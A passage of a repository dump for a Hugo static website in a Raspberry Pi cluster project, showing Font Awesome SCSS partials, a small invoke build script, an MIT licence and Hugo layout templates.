8 | url('#{$fa-font-path}/fontawesome-webfont.woff2?v=#{$fa-version}') format('woff2'),
9 | url('#{$fa-font-path}/fontawesome-webfont.woff?v=#{$fa-version}') format('woff'),
10 | url('#{$fa-font-path}/fontawesome-webfont.ttf?v=#{$fa-version}') format('truetype'),
11 | url('#{$fa-font-path}/fontawesome-webfont.svg?v=#{$fa-version}#fontawesomeregular') format('svg');
12 | // src: url('#{$fa-font-path}/FontAwesome.otf') format('opentype'); // used when developing fonts
13 | font-weight: normal;
14 | font-style: normal;
15 | }
16 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_rotated-flipped.scss:
--------------------------------------------------------------------------------
1 | // Rotated & Flipped Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-rotate-90 { @include fa-icon-rotate(90deg, 1); }
5 | .#{$fa-css-prefix}-rotate-180 { @include fa-icon-rotate(180deg, 2); }
6 | .#{$fa-css-prefix}-rotate-270 { @include fa-icon-rotate(270deg, 3); }
7 |
8 | .#{$fa-css-prefix}-flip-horizontal { @include fa-icon-flip(-1, 1, 0); }
9 | .#{$fa-css-prefix}-flip-vertical { @include fa-icon-flip(1, -1, 2); }
10 |
11 | // Hook for IE8-9
12 | // -------------------------
13 |
14 | :root .#{$fa-css-prefix}-rotate-90,
15 | :root .#{$fa-css-prefix}-rotate-180,
16 | :root .#{$fa-css-prefix}-rotate-270,
17 | :root .#{$fa-css-prefix}-flip-horizontal,
18 | :root .#{$fa-css-prefix}-flip-vertical {
19 | filter: none;
20 | }
21 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_screen-reader.scss:
--------------------------------------------------------------------------------
1 | // Screen Readers
2 | // -------------------------
3 |
4 | .sr-only { @include sr-only(); }
5 | .sr-only-focusable { @include sr-only-focusable(); }
6 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/_stacked.scss:
--------------------------------------------------------------------------------
1 | // Stacked Icons
2 | // -------------------------
3 |
4 | .#{$fa-css-prefix}-stack {
5 | position: relative;
6 | display: inline-block;
7 | width: 2em;
8 | height: 2em;
9 | line-height: 2em;
10 | vertical-align: middle;
11 | }
12 | .#{$fa-css-prefix}-stack-1x, .#{$fa-css-prefix}-stack-2x {
13 | position: absolute;
14 | left: 0;
15 | width: 100%;
16 | text-align: center;
17 | }
18 | .#{$fa-css-prefix}-stack-1x { line-height: inherit; }
19 | .#{$fa-css-prefix}-stack-2x { font-size: 2em; }
20 | .#{$fa-css-prefix}-inverse { color: $fa-inverse; }
21 |
--------------------------------------------------------------------------------
/code/hugo-site/static/scss/font-awesome.scss:
--------------------------------------------------------------------------------
1 | /*!
2 | * Font Awesome 4.7.0 by @davegandy - http://fontawesome.io - @fontawesome
3 | * License - http://fontawesome.io/license (Font: SIL OFL 1.1, CSS: MIT License)
4 | */
5 |
6 | @import "variables";
7 | @import "mixins";
8 | @import "path";
9 | @import "core";
10 | @import "larger";
11 | @import "fixed-width";
12 | @import "list";
13 | @import "bordered-pulled";
14 | @import "animated";
15 | @import "rotated-flipped";
16 | @import "stacked";
17 | @import "icons";
18 | @import "screen-reader";
19 |
--------------------------------------------------------------------------------
/code/hugo-site/tasks.py:
--------------------------------------------------------------------------------
1 | """
2 | hugo website
3 | """
4 |
5 | from invoke import task, run
6 |
7 | @task
8 | def hugo_build(c):
9 | """ build the web site """
10 | print("building")
11 | c.run('rm -rf -- public/*')
12 | c.run('hugo -v')
13 |
14 |
--------------------------------------------------------------------------------
/code/hugo-site/themes/berrycluster/LICENSE.md:
--------------------------------------------------------------------------------
1 | The MIT License (MIT)
2 |
3 | Copyright (c) 2017 YOUR_NAME_HERE
4 |
5 | Permission is hereby granted, free of charge, to any person obtaining a copy of
6 | this software and associated documentation files (the "Software"), to deal in
7 | the Software without restriction, including without limitation the rights to
8 | use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
9 | the Software, and to permit persons to whom the Software is furnished to do so,
10 | subject to the following conditions:
11 |
12 | The above copyright notice and this permission notice shall be included in all
13 | copies or substantial portions of the Software.
14 |
15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
17 | FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
18 | COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
19 | IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
20 | CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
21 |
--------------------------------------------------------------------------------
/code/hugo-site/themes/berrycluster/archetypes/default.md:
--------------------------------------------------------------------------------
1 | +++
2 | +++
3 |
--------------------------------------------------------------------------------
/code/hugo-site/themes/berrycluster/layouts/404.html:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/craig-m/rpi_cluster/7f1027e7405191fe70c74355dff211be1ea4536d/code/hugo-site/themes/berrycluster/layouts/404.html
--------------------------------------------------------------------------------
/code/hugo-site/themes/berrycluster/layouts/_default/single.html:
--------------------------------------------------------------------------------
1 | {{ if .Site.Params.debug_page_name }}
2 | [start: themes/berrycluster/layouts/_default/single.html ]
3 | {{ end }}
4 |
5 | {{ partial "header" . }}
6 |
7 |
8 |
9 |
10 | {{ .Content }}
11 |
12 |
13 |
14 | {{ partial "footer" . }}
15 |
16 | {{ if .Site.Params.debug_page_name }}
17 | [end: themes/berrycluster/layouts/_default/single.html ]
18 | {{ end }}
--------------------------------------------------------------------------------
/code/hugo-site/themes/berrycluster/layouts/partials/footer.html:
--------------------------------------------------------------------------------
1 | {{ if .Site.Params.debug_page_name }}
2 | [start: themes/berrycluster/layouts/partials/footer.html ]
3 | {{ end }}
4 |
5 |
10 |
11 |